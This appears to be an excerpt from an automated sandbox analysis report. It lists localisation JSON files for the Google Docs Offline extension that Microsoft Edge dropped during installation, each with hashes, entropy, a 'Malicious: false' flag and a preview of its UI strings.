C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
